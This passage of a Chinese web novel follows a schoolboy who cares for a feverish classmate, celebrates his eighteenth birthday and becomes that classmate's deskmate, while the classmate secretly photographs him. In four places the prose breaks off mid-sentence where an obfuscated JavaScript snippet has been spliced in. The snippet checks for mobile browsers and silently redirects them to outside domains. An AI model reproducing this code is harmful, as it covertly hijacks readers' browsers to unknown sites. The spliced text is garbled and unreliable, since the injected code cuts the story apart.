“你这样哪行啊?”边淙皱着眉说,“就我平常看的那些漫画里,有什么听力障碍脑力障碍的角色百分之八十都是发烧烧出来的,你不会想把自己烧成笨蛋吧?”他站起身望着躺在床上的付野,“我打个车,带你去医院打针。” “真的不用。”付野摇头,“我真的已经退烧了,再睡一觉就好了。” 像是怕边淙不信似的,他撑着床沿支起上半身,拉开了床头柜的抽屉从里面摸出来了体温计:“我可以量体温给你看的。” 边淙看着他坐直身子甩体温计的样子,长叹了一口气,接过他手中的体温计用力甩了甩。 好在他虽然五谷不分,但还是会用体温计的,将水银线甩到36的位置后,将体温计递给了付野:“含着。我下楼给你买点药和吃的。” 付野轻轻眨了下眼睛:“谢谢你,边淙。” “不用谢,你先好好躺着。”边淙搓了一把他的头发,“不过……你先把钥匙给我吧,这样等会不用给我开门了。” “钥匙在门口鞋柜上。” 边淙应了声好,起身拿过钥匙,关了门下楼,跟着导航朝着最近的一家药店走了过去。 他在店里一边和店员形容着付野的状况按需拿药,一边给班主任发微信。 [快乐小狗:老班,付野还没完全退烧,他不太想去医院,我在给他买药] 发完这句话,他拍了一张药店店员刚刚递给他的退烧药发了过去。 [老班:行知道了,你多注意着点儿,他如果一直不退烧还是要带去医院打针的,你买这些药的钱我先转给你,有什么情况及时告诉我] [快乐小狗:倒也不必转给我……我要是自己发烧了也能吃两颗保一下狗命] [老班:说些什么胡话!没事别说这种不吉利的话] [快乐小狗:知道了知道了] [快乐小狗:那我先带着药去他家了啊] 退出和班主任的聊天框,边淙跟着店员一块儿站在了收银台前,看着店员一件物品一件物品地扫码装袋。 退烧药,退烧贴,碘伏,无菌纱布,绷带,棉签。 “一共……” “不好意思,能再拿一袋口罩吗?”边淙想起付野脸上那肿胀的掌印,打断了店员的话。 “啊好的。”店员点点头,“稍等。” 门锁声响起的时候付野正含着体温计在对着天花板发呆。 发烧时和刚退烧时的嗅觉并不敏锐,付野却能清清楚楚地闻见飘扬在空气中的,属于边淙身上的那一份水果味。 他好像在从很高很高的地方坠落,却没有意料之中的粉身碎骨。 一颗柔软甜腻的水蜜桃将他完整地包裹住。 “体温计给我看看——”边淙的声音和塑料袋“呲啦”的声音一起传入耳中,付野偏着头望向他,干涸的唇不受控地勾起一抹弧度,他抽过含在口中的体温计,侧过身抽了张纸包裹住他入口的那一部分,将体温计递给了边淙。 边淙放下手中的东西,从他的手中接过体温计眯着眼瞧。 37.6,虽然确实还处于发热阶段,但的确不算高烧,没有到需要吊水的程度。 可是明明他刚刚的脸摸起来感觉根本不止这个温度…… “先吃一颗退烧药吧。”边淙放□□温计,从塑料袋里翻出来了那一盒退烧药,指尖交叠敲了敲他床头柜上的玻璃杯,“你这杯水什么时候的啊?” “昨天……应该说昨天吧?”付野不太确定。 “那我去换一杯,你等一下。”边淙点了头,将退烧药放在床头柜上,端着他的水杯走进了厨房。 听着热水壶咕噜咕噜的声音,望着边淙挺拔的背影,付野轻轻闭上了眼。 一直生病好像也很好。 过了没一会儿,边淙端着杯温水蹲在了他的床边,将杯子抵在了他的唇边:“先喝一口。” 付野很乖地照做。 放下水杯,边淙拿起那一盒退烧药打开,掰出来一颗捻在手心,递在他的唇边:“张嘴。” 付野依旧很乖地照做。 边淙收回手,揉揉他的头发,一边拆着退烧贴一边和他说话:“我不太会照顾人,读初中的时候火火生病了我给他买药,先把药塞他嘴里再去找水,把他苦到疯狂流眼泪,他当时还问我他是不是哪儿惹到我了我在报私仇。” 想起陶阳焱当时那个模样,边淙很缺德地笑了出声:“现在我已经成长了,所以不会把药片往你嘴里塞。” 付野“唔”了一声,却扯不出来笑容。 边淙对他好不过是这个人本身就很好。 将退烧贴“啪”一下贴在付野额头之后,他又从塑料袋里翻出来了碘伏棉签这些东西,原本空荡荡的床头柜这会儿已经被边淙买来的东西堆满了。 “我还给你买了粥,虽然我觉得粥这个东西不太顶饱,但是药店的人是跟我说刚退烧最好吃点儿清淡东西。”边淙说,“你这两天吃过东西吗?你要不要先吃点,吃完我给你处理一下你的手臂。” 付野摇摇头:“我还没刷牙。” “喔,好像也是。”边淙恍然大悟,“那你先去刷个牙,能走过去吗,要我扶着你吗?” 付野没有说话,呼了一口气做起身,赤着脚踩在了冰凉的瓷砖地面上。 看着边淙十分不认同地眼神,他有些心虚地摸了一下鼻子,抬起脚换了个方向,冰凉的脚踩进了拖鞋里。 狭小的阳台里,他脑袋上贴着退烧贴,穿着有些皱巴的T恤单手撑着洗手池认认真真刷牙,卧室里的边淙则是掏出手机在查碘伏这玩意儿消毒后要不要洗掉,那个无菌纱布要怎么用这些事项。 明明没有人说话,付野却第一次在这里感受到家的温馨。 等到付野刷完牙回来时,边淙已经揭开了外卖盖,将一次性勺递给了他:“喏。” 付野道了声谢,接过勺子很慢地吃着粥。 边淙就这么看着他,安安静静地环境下,他总归是没有忍住开了口。 “付野我问你啊,之前学校里的那些东西,是不是也是前几天那个人贴的。” “差不多吧。”付野点了头,那些侮辱的话他听过太多次了,从他的嘴中,从他妈的嘴中,“没关系的,我已经习惯了。” “习惯?”边淙大为不解,“怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256688|165800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以习惯这种事情啊?” 付野“嗯?”了一声,偏头看他。 “这种称呼,这种事情,无论怎么样都不可以去习惯。”边淙郑重其事地看着他,“当你习惯了一个之后,就会有更过分的第二个,第三个,第无数个出来,你不要去习惯接受这些事情,不可以习惯啊!!” 边淙的情绪看起来比当事人还激动,付野听着他的呐喊很轻地笑了一下:“好,我知道了。” “还有,你说他不会再找我们了,这些伤是代价吗?”边淙还是问了这个敏感的问题。 付野很认真地想了想。 他不知道这些伤算不算是代价,一条划痕,一个巴掌,他发的一场疯能给他和他的同学们带来不知道多长时间的安宁,这算是代价吗? 付出代价会让人痛苦,他却一点也不因为这些伤口感到痛苦。 他看向边淙,摇摇头:“我觉得不算,这是很值的交换。” 边淙嘴角抽了抽。 用自己的身体安危当作交换。 这人真的是…… 他沉重地叹了一口气。 付野不知道他为什么突然要叹气。 是因为自己刚刚的哪句话让他不高兴了吗? 他有些心不在焉地放下了手中的勺子。 看着付野放下勺子后,边淙无奈地望着他:“吃饱了吗?” “吃不下了。”付野点头。 边淙“喔”了一声,人发烧的时候食欲低很正常,毕竟不是所有人都能像他一样发烧时还能啃完一整只炸鸡。 抬手将打包盒往里推了推,边淙翻出碘伏拧开盖子,拆开棉签,朝着付野伸出手:“来,右手给我。” 将付野的手搭在自己的大腿上,他低着头,小心翼翼地用沾了碘伏的棉签一点一点替他的伤口消毒,一次又一次。 他的动作笨拙却轻柔,冰凉的棉签和温热的指尖落在手臂上是不同的触感,却都像是隔着层皮肉抚进他的心脏。 “边淙。”付野的手指很轻地动了一下,看着边淙的动作,他感觉边淙刚刚的那一声叹息更像是对他的无奈与心疼。 ……会是吗? “啊?是不是弄疼你了?”边淙很快停下动作,低下身凑近他的胳膊,对着那一条伤口轻轻吹着气儿,“好点没?” 付野喉间一梗,眼眶发酸。 他紧紧地闭上了眼:“没有弄疼我。” “那就好那就好。”边淙继续给他清理伤口,自顾自地开口,“之前有一次筱晴在体育课上摔跤,她在医务室清洗伤口的时候鬼哭狼嚎的,导致我那段时间干什么都很小心,被她喊出心理阴影了,我都有点不敢下手。” 付野静静地望着他,藏在身侧的左手用力地抠着自己的大腿:“那个时候,你心疼她吗?” 边淙疑惑地“啊?”了一声:“她一个小姑娘膝盖摔破了一大片,看着那么惨,任谁都挺心疼的吧?” 付野很轻地眨了一下眼睛,点头道:“也是。” “也不止是她啊,看着你的手我也会心疼你的。”边淙将无菌纱布铺在他的伤口上,握着绷带一圈一圈缠上他的手臂,他从来没有用过绷带,所以缠了一圈又一圈,只为了绷带两端回到中心,让他打上一个看起来有点呆呆的蝴蝶结,“所以下次不要再不把自己的身体当回事儿了,付野。” 付野听到了这句话的重点:“边淙,我受伤,你也会心疼我吗?” 边淙觉得他这个问题很奇怪,朋友之前谁能冷眼看着另一个人身上带着伤啊:“当然会心疼啊!” 付野望着他的眼睛,突然很轻地笑了一声。 “我知道了。” 18.第 18 章 从付野家出来后已经四点多了。 今晚没有晚自习,他在回校和回家中毅然决然选择了回家。 蹬着自行车冲进小区时,边淙飞快地和在保安亭里正在打八段锦的保安大爷打了个招呼后,风一般地骑进了自家楼下,锁好车,蹬蹬蹬地跑上了楼。 打开家门的那一瞬,四双眼睛齐刷刷地望向了他。 “诶?哥哥,许老师,你俩怎么来了?”边淙蹲在玄关脱鞋,仰着头看着屋里的人。 “你怎么回来了?不是还没放学吗?”边淮走到他的身边搓了一把他的狗头,“好啊边淙,逃课逃家里来了!许老师快给他班主任打小报告!” 边淙:…… 他一脸无语地拍开了边淮的手,望向许诚询:“许老师,我没逃课,我请假了。” “好端端的怎么请假了,哪儿不舒服还是怎么了?”芮书蕾问。 “不是。”边淙站起身摇头,走到冰箱前翻出了一瓶果汁吨吨吨了一大口,“这两天不是运动会吗,我有个同学,就付野,他生病了两天没来学校,我去瞅了他一眼。” “这样啊。”芮书蕾点点头,“那他现在怎么样了,还好吧?” “还在发烧,现在吃了药睡了。”边淙说,“反正这两天运动会没有晚自习,我假也请过了,索性就直接回来了。” “回来了那就去屋里换身衣服一块儿出门吃饭去。”边淮说,“来都来了。” “这什么意思?你们本来打算一块儿出门吃饭不告诉我吗?!”边淙的抓重点能力十分厉害,他怒视着边成磊,“好啊哥哥,你们根本就不在乎我——” “本来是打算等我们吃完了给你打包一点剩饭剩菜的/”边淮说,“你现在怎么一点都不阳光,净把亲爱的家人们往坏了想?” “我不想和你说话。”边淙哼哼了一声,回到了卧室。 脱了身上那件丑了吧唧的黄色校服,边淙从衣柜里抽出了那件穿着龙袍的小狗皇帝T恤,将衣服套上时,他的手机“滴”一声,弹出了一个日程提醒。 [一周后是您的生日] 边淙“诶?”了一声,猛地反应过来,好像是快到生日了哦! 他将脱下来的衣服往脏衣篮里一扔,冲出房间,绕到了边淮的身边,亲昵地揽住了他的脖子:“哥哥!” 俗话说的好,无事献殷勤,非奸即盗。 边淮十分迅速地抬眼看向芮书蕾:“妈妈,我和许老师有点事先回去了!” 边淙:??? “你不要太缺德啊!你亲爱的弟弟我下周十八岁生日你不会忘记了吧?!” “你知道的,我一直都很想把你这个弟弟打包送人。”边淮佯叹了一口气,“怎么会记得你的生日呢?” 边淙:…… “不闹了淮淮。”许诚询好笑地拍拍边淮的肩膀,看向边淙,“我们今天过来也是想着你快要过生日了,我俩有空你也没晚自习,提前带你去买你想要的生日礼物,你生日那天在学校上课,估计是要跟同学一块儿过吧?” 果然还是人民教师贴心,他的这个哥哥根本就不在乎他。 边淙伸长胳膊跳了起来:“许老师万岁!!” “行了小皇帝别万岁了,先出门吧。”芮书蕾拍了一下小狗皇帝的肩膀,“你今天请假早点回来了也好,能多逛逛。” 边淙“嘿嘿”傻笑两声,亲昵地挽着芮书蕾的胳膊,跟着家人一块儿下了楼,坐上了他哥夫的车。 “淙淙。”坐在驾驶室的许诚询透过后视镜看了一眼后座上边淙,“听爸妈说每个周日都带付野回家,一块儿学习,过两天期中考试,你英语能及格吗?” 边淙:“大好的日子不要说考试这种晦气东西。” 芮书蕾:…… 边成磊:…… 许诚询:…… 边淮:…… “我真怕你不进自己没把自己的英语成绩提上去,还把人小野的成绩拉下来,那你是真罪过。”芮书蕾偏头看他一眼,“他应该……会想要考个远远的大学,离开这边吧?你可别拖累别人。” 边淙“唔”了一声,没有说话。 纵使他没有跟爸妈说过学校里的那些事情,但这种事情就像随风的柳絮,身为学生家长总会听到一点风声,更别提家里还有一个人民教师可以让她知晓内情。 “那孩子挺讨人喜欢的,也实在是个很辛苦的孩子,淙淙你在学校里能多照应一下就多照应一下。”边成磊说。 边淙:“嗯嗯嗯嗯,我当然会!” “那你现在就趁着去吃饭的路上和吃饭的过程中想想你的成年礼物吧,要是想不出来的话我和你许老师就给你买个几斤的习题,祝我弟弟考上个好大学好了。”边淮坐在副驾上,托着下巴透过后视镜与他对视。 边淙麻木地双手比叉:“不!” 车里“哈哈哈哈”笑声一片。 吃饭的地方是边淮定的,他这个弟弟从初中开始就很馋帝王蟹这种东西,但一直都没有机会去吃过,这会儿趁着他十八岁生日,索性圆了他这个梦得了。 只不过虽然已经有了心理预警,但收到账单付款的那一瞬间,边淮还是戴上了痛苦面具。 好——贵—— “想好想要什么礼物了吗?”放下筷子的芮书蕾问。 边淙摇摇头。 说实话,他想要的很多东西都已经拥有了。 哥哥和哥夫给的零花钱足够他去买喜欢的漫画,喜欢的谷子,也足够他往游戏里氪金。 平常有点儿什么想要的东西只要开了口,爸妈也都会替他实现。 他很清楚地明白自己是个超级幸福的人。 “那感情好啊,我去淘宝给你买习题。”边淮揽着他的肩膀,不怀好意地开口,“要么再给你请几个家教,把你的周日和寒假铺满,高考时直接惊艳我们了。” “你想都别想,我不要!!!”边淙发出惊天叫声,“先去逛逛吧,万一我突然看中了什么东西呢!!” 商场里,一家人说说笑笑从这一家店逛到下一家店,不多时,小狗皇帝的手里多出了两套新漫画、一套典藏版的漫画以及两套昂贵的周年限定日谷。 他欢欢喜喜地捧着漫画拎着谷子上了车,坐在后座上轻手轻脚地拆那套昂贵的周边。 ——里面的钥匙扣。 他现在用的钥匙扣已经用了很长时间了,那个双马尾金发妹妹虽然依旧是他推,但已经不是他的主推了。 现在,是这个亚麻色长发半扎马尾的温柔妹妹! 拆开钥匙扣的袋子,揭开上面的亚克力覆膜后,边淙从裤子口袋里掏出来了他的自行车…… “诶?!!”望着手中的钥匙时,边淙瞳孔地震。 边淮这会儿正低着头玩手机呢,被他吓了一跳:“你干嘛?” “我……”边淙长叹了一口气,“我把付野的家门钥匙揣口袋里了。” “哈??” “啊???” “你真了不起啊……” 边淙“额”了一声,有些尴尬地摸了摸鼻子。 他掏出手机,打开了付野的微信聊天框。 那一长串自己发送过去对方未回复的消息下,是付野在他离开他家之后回复的一条[回家注意安全]。 他弯着眉眼笑了笑,指尖落在屏幕上。 [快乐小狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265271|165800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :付野,你现在醒着吗] [快乐小狗:狗狗委屈.jpg] 吃了退烧药又贴了退烧贴睡了一阵的付野醒过来量过体温,他的烧已经彻底褪了下去。 托边淙的福,两天没有进食的胃填了大半碗白粥后,也并没有一点儿饥饿的意思。 他睁着眼睛躺在床上,呆愣了好一会儿后起身打开了衣柜,从空荡荡的衣柜里翻出了那两件丑了吧唧的校服,重新躺回了床上。 一件校服搂在怀里,另一件校服盖在脸上,他拿着手机打开相册,一张一张地翻看。 照片里只有一个人的身影,大多是背影。 睡着了的,在一片漆黑中只有一方轮廓的边淙。 趴在教室里午休的边淙。 坐在书桌前叼着笔撑着脑袋的边淙。 握着可乐从小卖部出来,被他截掉了他身旁人的边淙。 蹲在绿化带边,朝着小猫摊开双手的边淙。 每一张照片都不是很清楚,有的很糊,有的只有一部分入镜,每张照片的角度也都是奇奇怪怪的。 毕竟,这些都是他像个偷窥狂一般,很快摁下快门留下的照片。 他清楚地知道自己现在实在是很像一个变态。 但他又放任着自己行着这些见不得人,见不得光的事情。 到底还是有着那家人的血脉。 他们对自己做着见不得光的恶心人的事情。 他也一样对着真心把自己当成好友的边淙做着同样见不得光的事情。 房间里属于边淙的味道已经渐渐淡了下去,他脸上盖着的那件二中那丑了吧唧的黄色校服,是边淙的衣服。 他像毫无安全感的筑巢的兽,怀里抱着的,鼻尖嗅着的,全都是边淙的衣服。 皂角的香味没能完全掩盖住边淙洗衣液的味道,淡淡的柠檬香钻进鼻腔,付野的脸泛起潮红。 他的右手手臂上是厚重的,绑得并不好看的绷带,被绷带缠绕着固定在皮肤上的不仅仅是那几片无菌纱布,还有独属于边淙的体温。 好想让他再碰一碰自己。 好想让他再抱一下自己。 想要更多,更多…… 付野翻着相册里的照片,将捂在鼻尖的那件校服蒙得更紧了些,自暴自弃一般地闭上了眼,狠狠地嗅着上面的仅存的柠檬香。 边淙,边淙。 为什么要对我这么好。 边淙,边淙。 边淙…… “滴”一声,他猛地睁开了眼,急促的呼吸使得他的面色看起来依旧泛着不健康的红润,他掀开了捂在脸上的衣服,有些慌乱地拿起了手机摁亮。 [快乐小狗:付野,你现在醒着吗] [快乐小狗:狗狗委屈.jpg] [快乐小狗:我今天给你买药的时候不是图方便所以拿了你的钥匙吗,我忘记还给你了,它现在在我这里] [快乐小狗:狗狗委屈.jpg] [快乐小狗:你要是醒了就跟我说一声,我给你送回去] 瞬间,巨大的欣喜涌入心腔。 边淙要过来,边淙会过来。 他深呼了一口气,指尖刚落在屏幕上的那一刻,他闻见了飘在房间里的,石楠花的味道。 他的房间很小,没有开窗通风的情况下,味道可以保留很久不散。 这种混着肮脏情..欲味道的,这种怀揣着不轨之心的自己。 全都,不可以被边淙知道。 他紧紧攥了一下拳,微微有些长长了的指甲几乎嵌进了掌心。 他第一次在清醒着收到边淙发来消息的情况下,没有给出任何一句回复。 19.第 19 章 运动会结束后,付野销假回学校上课了。 边淙走到他身旁时,他戴着边淙给他买的宽大口罩坐在位置上背书。 口罩遮住了付野红肿的侧脸,也遮住了他面对着边淙下意识舔唇的动作。 “你睡好久哦。”边淙从口袋里摸出来了付野的家门钥匙放在他的桌上,金属钥匙与桌面相碰,发出清脆的声音。 还好他早上醒过来的时候收到了付野发来的今天会回校上课的消息,不然他都打算今天中午吃完饭后放弃午休时间去一趟付野家里了。 付野弯了弯眼睛,拿过钥匙塞进校服外套口袋里,对着边淙道了声谢。 “诶?谢什么?” “谢谢你给我准备的口罩。”付野很认真地开口,在家里的时候他已经谢谢过了边淙给他买的药和给他包扎的行为。 如果说退烧药和绷带是在关照他的身体健康。 那这一袋明显加大了的口罩就是边淙润物细无声般替他保留的尊严。 “不客气!”边淙笑得很张扬,“感冒了可得好好戴口罩——” “嗯,谢谢你。”付野点头。 运动会结束恢复上课不到两天,全校师生迎来了他们的期中考试。 经过将近两个月的单独指导,边淙期中考试的英语成绩上升了一截儿,虽然依旧没有及格,但他已经比摸底考那一次高了整整十五分!他这次考了足足有!七十七分!! “真是史诗级的进步。”边淙看着成绩单感叹道,“按照这个情势发展下去,高考英语考及格指日可待。” 坐在他身旁的陶阳焱十分无语地翻了个白眼:“你对自己的英语成绩要求这么低吗,只求及格?你但凡说个想考一百分以上呢?” “这不是我要求低,这是我对自己认知清晰。”边淙说,“你懂不懂啊,人对自己有清晰的认知这件事情是一件多么难能可贵的美好品质?” 陶阳焱:“我真服了,懒得理你。” “略略略。”边淙放下成绩单转过头面对着他,支起一根手指往下扒拉自己的脸颊,对着陶阳焱做了个鬼脸,“对了火火,咱俩说再见吧。” “什么?”陶阳焱没听明白,疑惑地“啊?”了一声。 “你重新觅一个同桌吧,我要和我的学习搭子相依相偎去了。”边淙抬起手,装模作样地拍了一下他的肩膀,“提前跟你说晚安了,我的火火宝贝。” “……别恶心我啊!!”陶阳焱龇牙咧嘴地拍开他的手,盯着他看了好一会儿,见他不是开玩笑的样子,正色道,“你真抛弃我啊?真抛弃我我找别人去了啊?” 边淙点头:“真的啊,我,勤奋好学好宝宝,你懂不懂啊。” 陶阳焱面无表情:“你说是你就是吧。” 他们班分座位的模式是每次大考出成绩后的那个晚自习,班上所有人站在走廊上,按照成绩排名自选同桌和座位,最后再由老师来根据身高、近视程度和上课讲小话频率微调。 边淙虽然英语成绩烂,语文成绩也很一般,但他的数学和理综成绩差不多算得上一骑绝尘,也正因如此,英语从没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15272139|165800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及格过的他每次总分在班上的排名并不低。 “但是我看付野的总分比你高,按咱们班那个调座位模式是他挑人,你问过他没有啊?”陶阳焱拿起成绩单,指了一下名字排在边淙上面两个的付野的名字,“别等会儿你在这里一腔热血,人自己还是要一个人坐,我也跟别人跑了,你成孤寡青蛙了。” 边淙“额”了一声,他忘了问了,反正就是有一种付野怎么样都不会拒绝他的想法,所以他忘了问了。 于是他挠着头发回过头。 恰好,付野似乎也在看他。 他脸上的掌印大约是还没消退,这会儿的他依旧戴着口罩,整张脸只有那一双摄人心魄的眼袒露在外。 “我跟他说一声去。”边淙拍了一下陶阳焱的肩膀,站起身走到了付野的身边蹲下,双手交叠着搭在他的桌边,下巴撑在胳膊上,眨巴着眼望着他,“嘿嘿,付野,嘿嘿。” 付野微微低着头,视线落在边淙清亮的一双眼上,对边淙的“嘿嘿嘿”有些一头雾水。 边淙简单地和他介绍了一下他们班独有的换座位方式,十分真诚地望着他的眼睛:“咱俩同桌吧?” “可是——”付野轻轻舔了一下唇瓣,抬起眼望向边淙的座位。 此时的陶阳焱已经从座位上起身,正扒拉在其他两个男生的身上。 边淙顺着他的目光回过头,一齐望了过去,他笑嘻嘻地开口:“在看火火吗?放心,我跟他说过了我要抛弃他来找你过日子。” “所以,你要不要跟我同桌?” 20.第 20 章 付野实在是个很安静的同桌,和他同桌跟和陶阳焱同桌完全不一样,付野根本不会像陶阳焱一样突然用胳膊肘去拱他。 昏昏欲睡的英语课上,边淙单手撑着脑袋,视线落在他的侧脸上。 真是个漂亮的人啊。 就算他的整张脸都被宽大的白色口罩所掩盖,就算他只有一双眼显露在外。 他敛着眼看着摊在桌子上的试卷,纤长浓密的睫毛在夕阳下投射出浅灰色阴影铺在眼下淡淡的乌青上,衬上他那双浅琥珀色的眼瞳,看起来很像一只高贵的猫。 “边淙。”站在讲台上的老师眯着眼望向他,“你来讲一下,这一题的答案在第几自然段的哪一句里?” 上课开小差突然被点名的边淙小声“啊?”了一句,手忙脚乱地站起身低下头望着自己的试卷。 且不说他走神了根本不知道老师在讲哪一篇阅读,就算他知道他也给不出答案啊。 一张卷子四篇阅读理解,他加起来只对了四题。 边淙低着头,有些心虚地摸了一下鼻子:“emmmm……” 他尾音拉得很长,刚想实话实说自己不知道算了的时候,坐在他身旁的人将自己手中的试卷往他的位置偏了偏,付野拿着红笔在某个句子下划线,而后,圈出其中的重点单词。 边淙理不直气不壮地开口:“第三段第三行……”他低着头斜睨着付野的试卷,将他划线的那个句子念了出来。 “坐下吧。”英语老师拿着试卷比了个下压的动作,“上课都别发呆啊,脑子放清醒一点。” 边淙忙不迭地坐了下来,有些尴尬地晃了晃脑袋,拿起红笔将试卷翻了个面,直面着自己惨不忍睹的正确率。 认认真真听了三分钟后,他打了个哈欠,低着头开始栽瞌睡。 迷迷蒙蒙间,他听见了纸张摩擦桌面的声音。 付野的试卷再一次被推到了他的眼前,只不过这一次卷面上不再是红笔划线的句子,而是空白处一排隽秀的字。 [你昨天没睡好吗?] 边淙拧着眉揉了揉太阳穴,拿起笔,笔尖落在这一行小字下方。 [不,这是我上英语课的常态] 他的字儿本来就很大,和付野的字对比起来显得更大了。 卷子被推到手边时,付野看着这一排字,很轻地“唔”了一声。 在换位置之前他坐的位置离边淙有些远,又是在他的后面,边淙上英语课的时候总是低着头的,他原以为边淙是在安心学习,没想到…… 这人原来都是在栽瞌睡。 [很困你就趴一下吧,周末我给你讲题] 边淙看着这行字,大喜! 英语老师上课他确实容易走神犯困,但每次付野给他讲题的时候他却很少有走神时候。 明明两个人讲得都是同一份试卷…… 难道是一对一教学就是比大班授课要来得提神吗? 笔尖落在试卷边沿上,一个“好”字刚写两笔,他的脑子里突然响起了芮书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15289175|165800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蕾的那一句“他应该会想要考个远远的大学,离开这边”。 抿了抿唇,边淙将刚落笔写下的字儿划掉。 [我还能撑住!!!!] 一大串感叹号下面还画了一只泪眼汪汪的简笔小狗。 两个人明明在用试卷对话,付野却有种两个人并排坐着聊微信的感觉。 边淙在微信里也是这样的,说两句话就会带上一只小狗表情包。 很可爱。 付野没忍住,偏过头望了他一眼。 边淙双手握着拳搭在桌上,面对着付野投递过来的视线,回以了一个十分坚定的眼神。 然而,两节连堂的英语课,边淙并没有撑到第二节课。 他还是,撑着脑袋,睡着了。 没有一点点防备,那双坚定的眼闭得很安详。 付野抬眼看了一眼腰间挂着小蜜蜂的英语老师,又低眸看了一眼自己全对的完形填空。 他微微偏过头,注视着这个单手托着腮坐着也能睡着的人。 玻璃窗外,夕阳也拉上了帷幕,只剩下一条狭长的金线剖开云层。 有从玻璃窗的缝隙里吹进来,稍稍有些吹乱了边淙的头发。 手中的红笔一笔一划,在这密密麻麻的英文单词上,无意识地组合成一个又一个边淙的名字。 下课铃响,付野如梦初醒。 这张试卷被他叠了再叠,密密麻麻的红色“边淙”落入暗无天日的折痕里,掩藏进书包最隐蔽的夹层中。 21.第 21 章 次日一早,边淙踩着早读的铃声走进班上时,目光被自己堆得满满的桌子吸引住了。 他瞪大了眼睛,“哇!”了一声,揉了揉有些疲累的眼睛,冲向了自己的座位。 桌上堆着的是一个又一个礼品盒或礼品袋,甚至还有没有拆封,带着陈阳大名的快递盒,不用想也知道,肯定是自己的这帮朋友们送给他的生日礼物。 好靠谱啊朋友们! 虽然是他提前好几天就把自己要十八岁了事情挂在嘴上不停叭叭叭叭,但大伙真的都有给他准备生日礼物诶! 因早起而带了些不爽的情绪一扫而空,边淙甩下书包挂在课桌侧边,笑意盈盈摸摸这个盒子,搓搓那个袋子。 要不是带早读的老师已经进班了,他这会儿肯定已经开始拆他的生日礼物了! 带着早读赶紧下课的期盼中早读,使得早读变得格外漫长。 边淙念两句文言文就低头看一眼,原本堆在桌面上的礼物在老师的勒令下被堆在了椅子上,东西多到像一座摇摇欲坠的塔。 好想拆礼物。 好想拆礼物! 好想拆礼物!! “丁零零”的下课铃响起,坐在讲台上的老师拿着书走出教室的那一刻,边淙十分迅速地将礼品盒从椅子搬回了桌上,也是在这时,他的桌边乌拉乌拉围过来了一群人。 坐在他身旁的付野泯在了围过来的人群中。 “快快快拆礼物,让我瞧瞧这帮人都给你送了什么!!”陶阳焱倚在他的桌边,对着他的椅子两眼放光。 “反正我送的礼物边淙肯定喜欢。”唐筱晴一边啃着小面包一边自信地开口,“你要是不喜欢我就把你杀掉。” 边淙“哈哈哈”笑了两声:“那先拆你送的,哪个啊?” 唐筱晴指了指一个四四方方的盒子:“这个。” 边淙了然地点头,三下五除二拆开了这个盒子。 看到里面的东西时,十分夸张地拖长尾音“哇!”了一声。 “喜欢吧?”唐筱晴吃完小面包了,将塑料包装折了两折塞进边淙和付野桌子中间挂着的垃圾袋里后,变戏法儿似的从口袋里掏出了一盒牛奶拆开,插上吸管得意洋洋地开口。 边淙捧着那本唐筱晴曾经借他看过的,他买不到的漫画,认认真真地点头:“这个是真喜欢,我何德何能啊你居然舍得送我?还有这么多谷子!” “不是我那本,你上次说想买的时候我就在蹲小黄鱼了,还真让我蹲到了。”唐筱晴说,“那些谷子是买本捆的,索性一并给你了,我花大价钱搞来的,你要敢说不喜欢我真要杀掉你!” “喜欢喜欢喜欢!”边淙抱着漫画对着唐筱晴猛猛点头,“筱晴,有你真好!” 所有人的视线都在边淙身上,没有人发现付野将视线从边淙的脸上离开了一瞬,也没有人发现他的目光落在唐筱晴脸上时,眼底划过的嫉恨。 “这谁送的啊!!”边淙已经拆开了第二个袋子,袋子里是一件十分纯正的痛T,边淙新换钥匙扣上的那个漂亮二次元妹妹被一整个印在T恤胸前,摆着十分经典的单手叉腰比耶wink造型,他没忍住笑道,“这玩意儿穿身上死宅味是不是有点太重了啊!!!” “你身上的死宅味还不重吗?”陶阳焱朝他挑眉,“我知道你最近很喜欢这角色,喜欢到连你那个用了好久的钥匙扣都换了,我特意给你定的诶!” 